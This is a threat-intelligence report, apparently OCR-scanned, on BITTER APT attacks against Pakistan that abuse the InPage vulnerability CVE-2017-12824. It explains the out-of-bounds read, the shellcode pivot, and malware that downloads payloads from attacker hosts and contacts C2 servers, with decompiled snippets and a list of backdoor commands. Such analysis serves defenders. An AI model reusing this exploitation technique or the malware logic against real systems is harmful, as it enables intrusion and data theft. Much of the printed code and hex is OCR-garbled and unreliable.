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Analysis Of Targeted Attack Against Pakistan By Exploiting
InPage Vulnerability And Related APT Groups

By 360 R A0y | SFiB ER

Overview

Recently, 360 Threat Intelligence Center found a series of targeted attacks against Pakistan targets.
Attacker exploited one vulnerability (CVE-2017-12824) of InPage to craft bait documents (.inp). InPage is a
word processing software designed specifically for Urdu speakers (official language in Pakistan). In
addition, Office documents with CVE-2017-11882 vulnerability were also used in the attack. Kaspersky
disclosed one target attack in which InPage vulnerability was exploited in November 2016[6] . However, first
attack by using such software vulnerability can be traced back to June 2016[14].

Through the analysis of this group of documents with InPage vulnerabilities and related attack activities,
we can conclude that the attacker is BITTER APT organization disclosed by us in 2016 [5] . After further
analysis, some samples in the attack have strong connections with some APT groups, specifically
Patchwork, Bahamut, and Confucius. That shows more connections among those 4 APT groups from South
Asian.

Timeline

360 Threat Intelligence Center sorts out the timeline of targeted attacks in which InPage vulnerability
was exploited in the past two years as following:
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2016 June, first wild sample with InPage.
Oday vulnerability was found

2016 November, Kaspersky disclosed one
targeted attack in which InPage vulnerability
(CVE-2017-12824) was used

2016 November, 360 disclosed BITTER
activities in China

2017 November, PaloAlto disclosed new
samples with InPage vulnerability, and
showed connections with PatchWork.

@ o—0—9

2018 November, Microsoft disclosed new
® attacks targeting Pakistan by using InPage.
vulnerability

2018 November, 360 Threat Intelligence
] Center disclosed new attacks targeting
Pakistan by using InPage vulnerability, and
published correlation analysis report

InPage Vulnerability Analysis (CVE-2017-12824)

The scan result of documents with InPage vulnerability on VirusTotal:

8 engines detected this file °

SHA-256 eceDel76e1ccf594b902ef1138f65365b92ac0bfc7aade138c92403431113099

=
|

File size 137 MB
Lastanalysis  2018-11-0822:21:21 UTC

Detection Details Behavior Community

AegisLab A HackioolWin32.CVE-2017-12824.31c AlYac A Eroloitcve2017-12824

Ikarus A Wormwin32Gamarue Kaspersky A\ HEURExploit Win32.CVE-2017-12824.3
McAfee-GW-Edition A Artemis!Trojan Qihoo-360 A Win32/Trojan.Exploit.adb

Sophos AV A 201712820 ZoneAlarm A\ HEURExploit Win32.CVE-2017-12824.3
Ad-Aware 0 Clean AhnLabVv3 o Clean

Antiy-AVL @ Clean Arcabit @ Clean

Avast @ clean Avast Mobile Security @ cean

AVG @ clean Avira @ Cean

InPage is a word processing software specially designed for Urdu speakers, and the vulnerability
number involved in the wild attack sample is CVE-2017-12824.

After the analysis of the vulnerability by 360 Threat Intelligence Center, it was found that the
vulnerability was caused by the fact that InPage word processing software did not check the data type
(Type) to be processed when it is processing document flow, which led to the out-of-bounds reading.
Through carefully constructed InPage document, arbitrary code could be triggered to execute.
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We used InPage 2015 software environment to analyze the vulnerability in detail, and the process is as

follows.

InPage 2015

Cause of Vulnerability: Out-of-bound Read

The essence of the CVE-2017-12824 vulnerability is out—of-bound Read. The InPage word processor
does not check the data type to be processed while processing the InPage100 stream in the document, and
the data type to be processed is specified by a field in the InPage document. This allows an attacker to
cause an InPage program to make an out-of-bounds read error by setting a value outside the Type range.

The key data structures that trigger the vulnerability in document (.inp) are as follows. Ox7E and 0x72
represent a class of type in the document stream to be processed. We mark Ox7E as Typel and 0x72 as

Type2:

InPage processes a.inp file as follows:

InPage first calls Ole!The StgCreateDocfile function parses the entire.inp file and then calls Ole!
COleStreamFile: : OpenStream open InPage InPage100 data flow in the document:

vll = StgCreateDocfile(&pwcsiame, @x4811812u, 8, (a2 + 2588));
v alj

vl2 = *(aZ + 2588);

*(az + 312) = @;

al[55] = vl2;

if (vil <@ )

v13 = (vil + 29880) << 16;

sub_4CBA3@(@, 64, vi3 | @x1986, =1[52]);
LOBYTE(v33) = @;

std:istrstreambuf: i~strstreambuf (&.27);
V33 = -1;

C0lestreamFile: :~C0leStreamFile(&v21);
return v13;

}
}
else
{
v2 = alj
= al;
4 = al[55];

*(a2 + 2588) = uij
if ( !COleStreamFile::OpenStream(&v21, w4, off 5838CC, 8x18u, &/27) }// off 5B38CC -> "InPagelea”
{

sub_4CEA3B(8, 64, 21087, 21[52]);

LOBYTE(v33) = @3

std::strstreambuf: i~strstreambuf (&027);

V33 = -1;

C0lestreamFile: :~C0leStreamFile(&v21);

return 13767147523

C0lestreamFile::Seek(&v21, (*al & @xFFFFFFF) != 65541 ? 288 : 212, @);
¥
if ( !*(v3 + 2628) )

(V3 + 2620);
vE )

=h o
—

1
{
V7 = sub_419698(v5);
sub_4511F8(v7, v3);
}

}

if ( !dword_654F84 )

{
va C0leStreamFile: :Seek(&v21l, @, 1u);
v COleStreamFile::Seek(&v21, @, 2u);
(0leStreamFile::Seek(&v21, vE, @);
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All the processing logic related to the InPage100 stream will be carried out in PraselnPage100_432750
function, and the data in the stream will be read with the callback function InPage100Read_440EDO:

v25 = &v28;
vl4 = v2[52];
vad = 8v2l:

I'.f15 = PraseInPagel@®_432758(v3, v2, vl4, InPagel@@Read 448EDE, &'«24);'
sub_s4CEBRE( ) 5
if ( wis )
1
sub_4csA3e(e, 64, vis | (v26 »> 16 << 16), v2[52]);
LOBYTE(v33) = 1;
CArchive: :~CArchive(&v28); |
LOBYTE(v33) = 8;
std::strstreambuf: i~strstreambuf (&v27);
ViE o= -1
C0leStreamFile: :~COleStreamFile(&v21);

The trigger vulnerability Type data, Ox7E and 0x72 mentioned earlier, is eventually processed by the
function sub_453590.The buf in the figure below reads the data containing Type by calling
InPage100Read_440EDO:

The vulnerability function sub_453590 will select the corresponding processing process according to
Typel and Type2 (Ox7E and 0x72 bytes). First, it reads the function pointer array according to Typel, then
reads the function from the function pointer array according to Type2, and finally calls the function to

process data:

Let's look at the assignment and range of dword_656A28 in the figure above:

Directic Ty; Address Text

B r b 453500415 mov  ecx, dword_S58A28[=dx] here is write
S=D.. r sb 4535F0+15 mov_ ecx, dword 656A28[edx
= v dword 656A28[eax4], ecx
= D.. r  sub 453700+18 mov  eax, dword_656A28[eoc=4]
EED. r sub 453900447 mov  ecx, dword_555A28[e0x"4]
ED. r sub 4580434 mov  eax, dword_656A28[eax=4]
EED. r sb_453CT0+IF mov  eax, dword_555A28[=004]
=D r =b 5D+ mov  eax, dword_656A28[=ax"4]
B2 D. o sub 453F40+IC mov  edi, offset dword_655A28
EED. r sub 454500453 mov  eox, dword_656A28[e0x™4]

3
(S

__cdecl sub 4936AB(unsigned  int8 al, int a2)

=

int result; // eax

result = alj;
dword 656A28[al] = a2;
return result;

.data:@B656A28 ; int dword G56A28[128]
.data:@8656428 dword_656A28  dd ? ; DATA XREF: sub_453598+151r

Typel = ECX(0x1F8)>>2 = 0x7E(126), Type2 = EDI(0x72) :

Find the assignment of dword_656A28[0x7E] through IDA Pro:
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sub_453688(126, &word G56EDE);
memset(dword 656E6@, @, sizeof(dword G56EGB));

dword 656ECC

sub_4675A8;

dword 656ED@ = sub 4675A8;

[Fe=01t = sub 4536Ad(126u, dword G656EGB) Y

dword G655AC4[@]

dword 655ACC

dword 655AD4 =
= sub_455CC8a;

dword _655ADC

dword 655AE4 =

return result;

= sub_455D1@;

= sub_455C48;

sub_a'ISSCAE;'—"kE care of 656260

sub_453948;

You can see that the actual size of the dword_656E60 array is 30 (Ox1E) :

Since the size of Type2 in the vulnerability document is set to 0x72, EDI=0x72, but the InPage does not

judge the size of Type2 passed in, this will result in access to dword_656E60[0x72], and because

0x72>30(0x1E), an out—of-bounds read error occurs.

The Exploitation

Since the attacker sets Type2 in the document to 0x72, after addressing calculation, the code at the

function address 0x00455AFA will be accessed across the line:

------------------ - U ¥ LdLLErT ERBUR_3ULLEDS | HUUUNDUY)
BA4535CH| 56 push esi
R e TnPage_2.0BU55AFA | EFL DB806286 (MO,NB,HE,R,NS,PE,GE,G)

BO4535C7 83C4 OC add esp, 6C 5T empty 0.0

BB4535CA 83aca @2 add eax,2 ST1 enpty 0.8

884535CD SE pop esi S§T2 empty 8.8

BO4535CE c3 retn §T3 empty 0.0

BB4535CF 8B8A 28656588 mov ecx,dword ptr ds:[edx+6565208] ST enpty 0.8

B04535D5 25 FFOpaaaa and eax, 6FF ST5 enpty 8.8

8e4535DA 33p2 Xor Pdfheux §Té6 empty 1.0000000006000000000

80453506 SE pop esl ST7 empty 5669.2913385826764800

B884535DD 66 :8B1441 mou dx,word ptr ds:[ecx+eax=2] i 392148 ESPUD?Z

ecx=DOLSSATA (InPage 2. DBYSOAFA) Ry LY End J 000 Er009000
FCW 827F Prec NEAR,53 Hask 1111

Address |Hex dump

N 6012081C EERIEEE

72 FE 90 9090 96 83 C7|28 FF D7 27| OGn 65 04 06| r™[5[5
6C 65 86 98 6D 85 @8 8F E5 AD BA YE|CA ©1 68 7E|.¥Y. .. Y.
7E A7 BF 0801 7E C4 F9[17 08 82 7E(1C 1F 81 88|™~?./EN.
83 7E 406 9E 00 00 00 G0 66 4B A9 DO|CO C4 17 68 7

60 C4 686 1E 93 20 32 1E 93 60 00 00|08 08 600 @9 .7

80 80 66 08 A0 A0 A0 A0 66 A6 A6 00| AP AR 88 68
60 B0 A6 OA A6 AP AP @A 66 6 AA OO/ AP AP 6O 66)......... paoo
B31E38AF| 08 B0 B0 00/ d0 90 90 96/ 00 00 00 66/90 @9 668 68] ... ... .........

80120820| 400068600
88120824 88808002
8812D828| B31E383F
0012D82C| 0045376E
88120838 B31E383F
8812D834| B6606HAS
8812p838
8812083¢C

RETURN to In

00000024
CLGELTE

You can see that dword_656E60[0x72] (0x455AFA) is just a pop retn instruction:

The pop retn instruction sequence plays a role as "jump" address, when performing Type related
processing function, due to the incoming parameters (pointer: 0 x031e383f) pointing to a data InPage
document flow, an attacker can fill the controllable data flow with ShellCode, so after the pop retn

BBLSSAFA 68 BASBLSOB push InPage_2.088455B00

BB4SSAFS E8 4p1BAE0A

59
BB455AFB C3

InPage 2.884D763A
pop ecx
retn

instructions will be returned directly to the attacker set ShellCode executed:
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[€] File View Debug Plugins Options Window Help Tools BreakPoint-=

et (B x] [0 %% 30 ] = L]E[m]x] W] el KB =]=]s]

(039D383F [IEEIEIS jb short B839D38BF

83903841 o8 nop

3903842 o8 nop

3903843 o8 nop

B39D384Y4| | 90 nop

83903845 83C7 28 add edi,28

A39D3848 FFD7 edi

B39D384A 27 daa

83903848 BAB: B4BBEBCHS |or al,byte ptr ds:[50C0004]
83903851 apoa add byte ptr ds:[eax],al
3903853 B0 A5 BBBFES or eax,ES8FBO65

839D3858 AD lods dword ptr ds:[esi]
3903859 BA 7ECAB188 mov edx,1CAYE

B39D38BSE || FE TE jle short 839D38DE

a39D3866 A7 cmps dword ptr ds:[esi],dword ptr es:[e
83903861 BF aea1 sldt word ptr ds:[ecx]
83903864 | " | FE Ch jle short B39D382A

However, the InPage program does not turn on DEP and ASLR protection, which results in ShellCode
being directly executed:

Analysis of Four Types of Attack Framework Using InPage Vulnerability

360 Threat Intelligence Center conducted analysis on the samples with InPage vulnerabilities in
Pakistan, found that a number of samples generated time, size, initial ShellCode InPage100 document flow

and related flow label all consistent. We can confirm that those samples come from same source.

B RooT
| -] InPage100 (4392 bytes )|
i-| =) Documentinfo (1316 bytes )
| =] PPicts14bal63 (1069 bytes )
v  Misc
CLSID 00000000-0000-000 The InPage18@ stream size in all samples of
CreationDate  01/01/01 08:00 this type is 4392 bytes, and the latest
IsRoot True modification time is 12/17/09 89:47.
|z5Storage False
|z Stream Falze
[ModfyDate  12/17/09 09:47]
MName Root Entry
Size 2432

00000820 FF FF FF FF A2 00 07 00 00 00 00 05 89 00 00 DO g e
pooooa3c |2R 50 50 69 63 74 73 31 34 62 61 30 36 39 00 90 *PPictsldbal&9. .|
00000840 90 90 90 §3 C7 28 57 33 CO 50 64 89 20 BA 4C 75 ----C(W3APd. “Iu
00000850 4E 64 33 FF 3B 17 74 03 47 EB F9 83 C7 04 3B 17 Hd3§:.t.GEu.C.;,

00000860 24 OC 33 C0 t.GEI.C.WA Te.3d
00000870 DY e ey T

00000880 90 90 o 90 — shellcede?
00000890 O0LO0.100 1900 sonie e
0000080 90 90 90 B0 . erarazanaan-
00000880 shellcodel §, _.
000008C0 R G i

000008D0 27 0A 05 O B oo Cli=".

000008ED 7E CA 01 o0/ .-B O-F..
000008FD R - T\ B
00000900 6E 50 61 67  SETRC e InPag
00000910 7% 6D &5 &E e Arabic Docullen
00000920 FE FF FF FF  Tuveuwan.. GV

Through the analysis of this batch of InPage vulnerability utilization documents and relevant malicious
code, we found that the malicious code carried by the vulnerability documents used four different types of
attack frameworks: four types of completely different backdoor programs. The analysis is as follows.

WSCSPL:Full - featured Backdoor
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A decoy document captured by 360 Threat Intelligence Center is called "SOP for Retrieval of Mobile

Data Records. Inp" (SOP for Mobile Data Records Retrieval). Cve—2017-12824 vulnerability utilization

document will eventually download and execute a full-featured back door program named WSCSPL.

Relevant vulnerability utilization document information is as follows:

MD5 863f2bfed6e8e1b8b4516e328c8badlb
The file name For Retrieval of Mobile Data Records, SOP for Retrieval of Mobile Data Records. Inp
ShellCode

After the bug is successfully triggered, ShellCode will locate the main function ShellCode by searching
the special logo "27862786". Then it will download Payload from khurram.com.pk/js/drv and save it to

c:\conf\ smss.exe for execution:

Downloader

MD5 c3f5add704f2c540f3dd345f853e2d84
Compile time 2018.9.24

C: \ Users \ Asterix \ Documents \ 28 novdwn VisualStudio2008 \ Projects \ \ Release \ 2

PDB path
P 8 novdwn PDB

The downloaded EXE file is mainly used to communicate with C2 and obtain the executables of other
modules. After execution, the registry key value (key: HKCU\Environment, key value: Appld, data: c:\ Intel
\drvhost. EXE) will be set first.

ReglpenkeyExA({HKEY _CURRENT_USER, "Environment"”, @, @xF@@3Fu, &phkResult);
result = RegQueryValueExA(phkResult, "AppId™”, @, @, @, 8);
if { result )
1
RegOpenkeyExA(phkResult, “AppId", @, @xF@@3Fu, &hkey);
RegSetValueExA(phkResult, “AppId“, @, 1lu, al, strlen({const char *}al});
RegCloseKey(phkResult);
result = RegCloseKey(hKey};
h

return result;

Persistence is achieved by adding itself to the registry bootstrap:

And determine whether the current process path is c:\ Intel \drvhost. Exe, if not, copy itself to the path
and execute:
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if ( RegQueryValueExA(phkResult, ::Parameter, 8, 8, 8, 8) )

RegCloseKey(phkResult);
CreateThread(®, @, sub 4842D@, ::Parameter, @, Sdword 487C4C);

w113 = 114;
v1ld = 115;
w115 = 184;
v1le = 113;
v11l7 = -1;
vie = @;
do
+Hw3e;
while ( *(&v113 4+ v38) I= -1 )3

w31 = sub_4@1E88(v3a);

v32 = (char *)(&v191 - v31);

do

i
w33 = *vw3l;
v31[{_DWORD)v32] = *v31;
+Hw3l;

while ( v33 };
v34 = (char *)&v198 + 3;
do
w35 = (v34H)[1];
while { w35 );
Sleep(@x2710u);
ShellExecuteA(®, "open™, File, @8, @, @);
Sleep(@x2710u);
exit(@);

When the process path meets the conditions, the machine GUID, computer user name and other
information obtained from the registry are encrypted and concatenated into a string:

if ( !ﬁegOpénKeyExA(HKEY_LOCAL_MACHINE, &subkey, @, 8x101u, &phkResult) }// machineid
v8 = RegQueryValueExA(phkResult, &valueName, @, @, &Data, &chData);
if ( va )
{
do

v = *(&Data + vB);
byte_488268[vi++] = vo;

¥

while ( vo );
1
RegCloseKey(phkResult);

1
for ( k = byte_488268; *k; ++¥k++ )

Then send the constructed string to communicate with C2:nethosttalk.com and get the command to
execute again:

In this case, the C2 server returns an AXE:# instruction. The native program determines whether the
instruction is an AXE:# or an AXE.

if ( strstr(&sStr, &Substr) )
1
v56 = [char *)malloc({@x486u);
v57 = strstr(&Str, "AXE: #");
if [ w57 )
1
vS6 = strchr(vs?, 35) + 1;
for { kk = 8; 3 ++kk )

1
w59 = vSa[kk];
if ( vs9 == "#" || w59 = "." )}
break;
¥
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If "AXE:#" is followed by the string content, the plug-in is downloaded and executed

while [ w42 };
gmemcpy (w48, w16, w47);
w58 = fopen(&Filenames, “wb");

buf = @;

memset(&v188, @, BxF79u);
while ( 1}

1

vEl = recv(s, &buf, 3962, 8);
if ( vl <=8 )

break;
fwrite(&buf, 1u, vs1l, vse);
P
if SheilExecutEf—‘-.{G, &0peration, &File, @, @, @) > 32 )
1
/75 = @3
76 = @
while { *(&vE5 + v75) != -1 )
1
+HVTE:
+Hv75;
b

In the process of debugging and analysis by 360 Threat Intelligence Center analysts, we successfully
obtained an executable plug—in named "WSCSPL" :

Backdoor — WSCSPL

MD5 1c2a3aa370660b3ac2bf0f41c342373b
Compile time 2018.9.13
Original file name Exe winsvc.

This Trojan has same functionality as the Trojan used by Patchwork APT group disclosed by us in
2016[5]. The Trojan supports 17 commands, including uploading a list of hard disk, finding, reading,
creating a specified file, enumerating a list of processes, and ending a specified process. Trojan function
analysis is as follows:

Set two 10-second interval timers after the Trojan program runs:
L

ShowWindow(result, @);
UpdateWindow(v2};

SetTimer(v2, @xAu, @x2718u, TimerFunc); |
SetTimer(v2, @x14u, @x2718u, connect 71618);
result = 13

Timer 1: request the IP of C&C:wcnchost.ddns.net. If the request is successful, save the IP to the
global variable and set the id variable to 1.
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WsAStartup(2u, &WsSAData);
ppResult = @;
pHints.ai_flags = @;
pHints.ai_addrlen = @;
pHints.ai_canonname = @;
pHints.ai_addr = @;
pHints.ai_next = @;
pHints.ai_family = @;
pHints.ai_socktype = 1;
pHints.ai_protocol = 6;
if ( !getaddrinfo(&pNodeName, @, &pHints, &ppResult) )
i

v4 = ppResult;
if ( ppResult }
1

-

inet_ntoa(*&v4-»ai addr-»sa_data[2]);
cps

T
o

}

while ( v7 );

v4 = vi-rai_next;

byte CEAG® = 1; // if getip successful,set the var 1

}
while { w4 });
v4 = ppResult;

freeaddrinfo{v4);
¥
1

Timer 2: check the value of the identifying variable, if 1, try to connect C&C:
woid _ stdcall connect_7V161@8(HWND al, UINT a2, UINT a3, DWORD ad)

{

struct sockaddr namej // [espt@h] [ebp-14h]

if (byte ceaso]-- 1)

1
dword CE3F4 = inet addr{cp);
name.sa_ftamily = 2;
*&name.sa_data[2] = dword CE3F4;
*rname.sa_data = htons(@x1B67u);
if ( 5 )
1

if { connect(s, &name, 16) == -1 )
WsaAGetLastError(};

¥

¥

Then create two threads:

if { result )
hInstance = @;

dword_CEASC = CreateThread(®, 8, StartAddress, &hInstance, @, @);
dword CES®C = CreateThread(@, @, Check_and_Send_?lSEB, &hInstance, @, @);

Thread 1: detects the connection status with C&C and receives the C&C command executable if the
connection is successful
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while
1
Numb
Gets

(1)

er0fBytesRecvd = @;
ystemTime (&SystemTime) ;

360 BUHME R 10

WsAWaitForMultipleEvents(lu, &hEventObject, @, @xFFFFFFFF, @);
if ( WSAEnumNetworkEvents(s, hEventObject, &NetworkEvents) == -1 )

WS

if (

AGetLastError();

1 = NetworkEvents.lNetworkEvents;
orkEvents.1NetworkEvents & @x1@ && !NetworkEvents.iErrorCode[4] )

Netw

byte_76@4D = 1;
if ( NetworkEvents.lNetworkEvents & ox2e )

{
cl
WS
WS
51
su

osesocket(s);

ACloseEvent (hEventObject);
ACleanup();

eep(@x1388u);

b_714Be();

= NetworkEvents.lNetworkEvents;

if ( vl & 1 &R !NetworkEvents.iErrorCode[@] )

if ( WSARecv(s, &Buffers, lu, &NumberOfBytesRecvd, &Flags, @, @) == -1 )

Wl
W

src

w3

WSAGetLastError();
= NumberOfBytesRecvd;
= Buffers.buf;

= dword_CE638 + NumberOfBytesRecw

if ( dword_CE638® + NumberOfBytesRe

if { v3 <= 2 * dword CE634 )
v3 = 2 * dword_CEG34;
dword CEB34 = v3;

d;

Thread 2: checks whether the global variable dword_C9618 has data, and if so, sends the data to

C&C

B

st;
a

o

Sperator new[]{v3);
D

el
memcpy(v4, Dst, dword_CEG38);
operator delete(vs);

Dzt = vi;

v7 = dword_CEG3@;
memcpy(Dst + dword_CE63@, Src, vi2);

dword_CE638 = v

+ U7

if ( sub_72C38() )

sub 71C48();

cvd » dword_CEG34 )

/7 HATcowms

The command execution code snippet is as follows:

switch [ v@ )

case 388a:
dword_76800 = 4000 ;
dword_CEASE = 3880;
dword_CEAG4 = CreateThread(@, @,
break;
case 388l:
dword_76808 = 4060;
dword_CEASE = 3881;
dword_CEABE = CreateThread(®, @,
break;
case 3882:
dword_76898 = 4888;
dword_CEADE = 3882;
dword_CEABC = CreateThread(®, @,
break;
case 3884:
dword_76898 = 4860;
dword_CEASE = 3884;
dword_CEA7® = CreateThread(®, @,
break;
case 38@5:
dword_76898 = 4860;
dword_CEA98 = 3885;
dword_CEA74 CreateThread(@, @,
break;

GetRatstate_72E7@, &Farameter, @, @);

GetDriveinfo_72258, &Faramster, @, @);

GetFilelist_722E@, &FParameter, @, 8);/

GetlLog_726D@, &Paramster, @, 8);

CrdatenewFile_?E?D@, &Parameter, @, @)

https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/

11/32



11/29/2018 360 PHHR >
Trojan’s all commands and corresponding functions are shown in the following table:

3000 Get RAT status information

3001 Get computer hard disk information

3002 Gets the list of files in the specified directory
3004 Get RAT log 1

3005 Create the specified file

3006 Writes data to the create file

3007 Open the specified file

3009 Reads the contents of the specified file
3012 Create remote console

3013 Execute remote commands

3015 Get RAT log 2

3016 End remote console

3017 Closes the specified handle

3019 Gets a process that has an UPD active link
3021 Get RAT log 3

3032 End the specified process

3023 Gets process information in the system
3025 Get RAT log 4

Visual Basic Backdoor

Another captured vulnerability exploit document, CVE-2017-12824 named ‘AAT national assembly
final.inp’, drop the backdoor written by Visual Basic.

Relevant vulnerability document information is as follows:

MD5 ce2a6437a308dfe777dec42eec39d9ea
The file name The AAT national assembly final. Inp
ShellCode

First, ShellCode triggered by the vulnerability locates the main ShellCode through the memory global
search string "LuNdLuNd" :

https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/ 12/32
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B2FE37B4
B2FE37BS
B2FE37B7Y
82FE37B8
B2FE37BE
B2FEZ7CA
B2FE37C2
B2FE37Ch |,
B2FE37ChH
B2FE37C7 ("
B2FE37C9
82FE37CC
B2FE37CE| .,
B2FEZ7DA@
BZFE37D1("
B2FE37D3
B2FE37D6
B2FE37D7

57

33Ca

ca
64:89208
BA 4C7SLEGL
33FF
3B17

¥4 83
47

EB F9
83C7 B4
3B17

¥4 83
47

EB EF
83C7 B4
57

C3

360 BUHME R 10

edi
eax,eax
eax

=0or

mnov
mov edx,

®or edi,edi

cmp edx,

short B2FE37C9
inc edi

short B2FE37C2
add edi,

cmp edx,

short B2FE37D3
inc edi

short B2FE37C2
add edi,

Locate the main ShellCode and get the API functions you want to use, and ensure that only one

instance runs by creating the mutex "QPONMLKJIH" :

B74E4DEY FFD2

@7 4E4DEB 85C8
O74E 4| 75 04

edx=75753589 (kernel32.

call edz

oo Qo
»~ B812D7AC ELLEEETTS
8612D7B0| 00680068
0612D7B4| 0812D7B8 |ASCII “QPOMHL| H*
8012D7B8| LENF5051

EFL 00000246 (NO,NB,E,BE,NS,PE,GE,LE)

ST empty 6.8
Bl sT1 empty 0.8
5T2 empty 0.0
$T3 empty 0.8
ST4 empty 0.0

Then extract a DLL module contained in the document and execute it by memory loading:

Dropper

MD5

The PDP path

The DLL file loaded in memory is a Dropper, which contains two resource files, "Bin" and "Bin2" :

B74E4BFF FFD2

O74E4BE1 23C4 OC
O74E4BBY 8BLS FB
O74E4BBY 8BLD FC
@7 4E4BEA 8348 3C
A7 4E4BBD 8B55 EB
O74E4B20 290A

O74E4B92 8BLS EB

HEX #7ifE

call edx

add esp,

mov eax,dword ptr ss
ecx,duord ptr ss
ecx,
edx,dword ptr ss

eax,dword ptr ss

:[ebp-8x8]
[ ebp-0x4]

:[ebp-8x18]
SECH
:[ebp-8x18]

2
95356006|4D 5A 90 00|93 06 60 00|64 60 068 O6|FF FF 80 60|MZ?7 .
95350010|B8 60 60 00|06 00 60 BO(40 00 OO 00 60 B0 60 0|7
05350020\ 60 60 00 00|00 00 A0 PO(A0 OO AP 6A| 6O 6O A0 00| .
085350030| 00 B0 60 00|06 0P 6O GO| A0 00 06 06|D8 BB 60 60| .
85350648 BE 1F BA BE| 86 B4 89 CD|21 B8 @1 4C|CD 21 54 68| M

43920ec371fae4726d570fdef1009163

$ 8 FS pa3p Z!Z-[‘KI JFFDFOBB(FFF}
T 8 GS 9080 NULL
DB

0 8 LastErr ERROR_INUALID_ADDRESS (@8]

EFL (NO,NB,NE 0, NS ,PE,GE, )

STH empty
S$T1 empty

a.

a.

edx=00000000 572 empty 8.
ST3 empty 8.

ST4 empty 8.

eop n

P a0l O74E4F3A(ASCIT “PE™
0012D79C| 0O0ODPODD
0012D7A8| B03142A8| UNICODE "RP™
00120704 | -0012D7C8
0612D7A8|| O7LE4DEB| & O] F| 074ELDEB
0012D70c || 05350000

C: \ users \ mz \ documents \ visualstudio2013 \ Projects \ Shellcode \ Release \ Shellcod

e PDB

https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/
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Bin file is the back door program written by Visual Basic, while Bin2 is the normal inp decoy file
released and opened after the vulnerability is triggered. The contents of relevant decoy documents are as
follows:

-uw

T oweeleegwa| @ B W @ P E
&0 B
o Confuabonfes || Offsst | 0 1 2 3 4 & & 7 B 9 A B C D E F | Aseii
0oo0o00D | 4D S& 90 00 02X OD OO OO0 04 OO OO0 OO FF FF OO 00 M o.1...01...¥¥..

0EA00010 | BB 00 00 OO0 00 Q0 OO0 00 40 OO OO OO0 00 Q0 00 08 | .. @

QooooDZ0 ( 0D OO 00 OO0 QO OO0 OO OO0 OO0 DO OO OO0 OO OO0 OO OO R R
Q0000030 ( 00 OO0 00 OO0 QOO0 OO0 OO OO0 OO0 OO0 00 OO €O 00 OO0 0O S R e A...
0EQ00040 | OE LF BA OE 00 B4 0% €0 21 BF 01 4C €D 21 S4 68 |0 21" . 11 alDiTh

QOODDOSED | 63 73 20 70 72 EF &7 72 61 BD 20 63 &l £E GE EF | is.program.cannc
QOODODGD | 74 20 62 65 20 T2 75 EE 20 E% SE 20 44 4F 53 20 t.be.run.in. DOS,
0GA00070 | 6D 6F &4 65 ZE OD 0D Ok 24 00 00 00 00 00 00 00 | node .. 5. \
00000080 | D% 4B C4 DB S0 2h Ak 88 9D 24 AA BB 5D 2Ah Ak B8 | UKAD wig wi] =iy
QOODODSD | 1E 3 A4 BB 2C 24 AL 98 F4 3E A3 B0 9F 24 Ak 88 EE et pAEE 1=
DOOO00AD | 74 35 A7 BB 2L 2A AA 99 52 69 £3 68 %D 2h AL 28 | e5E)1=¥pRich &8
QOODODED ( OO0 OO OO0 OO0 0O OO0 OO OO OD OO OO OO DO OO0 OO OO ik A R ‘s
Qo0000CDH | S0 45 00 00 4C 01 0Z 00 97 7& 3C SB 00 00 0O 0O
0OQ000DG | 00 00 Q0 00 EQ 00 OF Q1 OB 01 06 00 00 DO 0L 0O
QDODODED ( OO 200 00 OD DO OO0 OO OO 8D 22 OO0 OO OO 10 OO OO
QOOOOOFD [ OO0 EO O1 OD 00 OO0 40 00 0D 10 OO0 OD 0O 10 OO0 00
0GR00100 | 04 00 00 00 18 00 OF Q0 04 00 00 00 00 Q0 00 0f
QoO0O110 | OO0 OO D2 OO0 DO 10 DO OO FS 96 D2 00 0OZ 00 OO 0O
Qo0o00120 ( 00 0O 10 OO0 0O 10 OO OO0 OD OO 10 OD 0O 10 OO OO0
0GAO0130 | 00 00 00 00 10 00 00 Q0 00 00 OO OO0 00 Q0 00 0O
00000140 | 14 DO 01 O0 28 OO0 OO0 00 OO0 FO ©O1 00 BC 0& 0O 0O
Q0000150 ( 00 OO0 OO0 OO0 QOO0 OO0 OO Q0 OO0 OO OO0 O OO0 00 OO0 OO
0OO00160 | 00 00 Q0 00 00 Q0 00 Q0 Q0 OO 00 OO 0O Q0 00 09 f . -
QooQo170 ( OO OO OO0 OO DO OO OO OO OO0 DO OO OO OO OO0 OO OO P L
QOO0O180 ( OO OO OO0 OO0 QO OO0 OO OO0 OO0 OO OO0 O OO0 OO0 OO OO 3o T

DOAO0190 | 30 0 00 00 20 00 00 00 OO0 10 00 00 7% ©2 00 00 | On T
0O0001AD [ 00 OO OO0 OO OO OD OO Q0 OO OO QO OO OO 00 OO OO LR KL
QOOO01B0 [ OO0 OO0 OO0 OO0 OO0 OD OO Q0 2E 74 &5 78 74 00 DO 0O B 1 T

000001C0 | 84 €A 01 00 0O 10 00 00 00 DO @1 00 06 10 o0 08 | eEr. n. . BRo0.
00000100 | OO0 OO0 OO0 OO0 0O OO0 OO OO0 OO0 DO OO OO0 20 00 OO &0 | . ... ......
QOODOD1ED [ 2E &4 &1 74 &L OO0 OO0 OO0 28 0B 00 OO0 00 EO 0L 0O data. . {01...40.
QEQODLFD | 00 10 Q0 00 00 E0 01 Q0 00 00 OO 00 00 Q0 0O 00 | .0...A10,.
QOODDZ00 | OO OO OO0 OO 40 OO0 OO CO 2E 72 73 72 63 00 0O 0O e kL TRTG. .
QOOD0210 | BC 0 00 0D 00 FO 01 OO0 0D 10 00 0D 00 FOD 01 00 | kg 1. .0 By .
0ERO0220 | 00 00 Q0 00 00 Q0 00 Q0 00 OO 00 OO0 40 Q0 00 40 ; . R
QooDo230 | 6C DA SE 4& 10 OO0 OO OO OD DO OO0 OO OO OO0 OO QO BT | T
QO000240 | 4D 53 S& 42 56 4D 36 30 2E 44 4C 4C 00 00 0O 00 | NSVBYHED DLL

Backdoor — SMTPLDR. Exe

MD5 694040b229562b8dca9534c5301f8d73
Compile time 2018.7.4
Original file name Exe SMTPLDR.
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Bin file is a backdoor program written by Visual Basic, which is mainly used to obtain command
execution. After the Trojan horse runs, it first gets the installed application name of the current system

360 BN AR 1L

from "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\" :

mov
mov
lea
lea

call [00401214h]

mowv
mowv
mowv
mowv

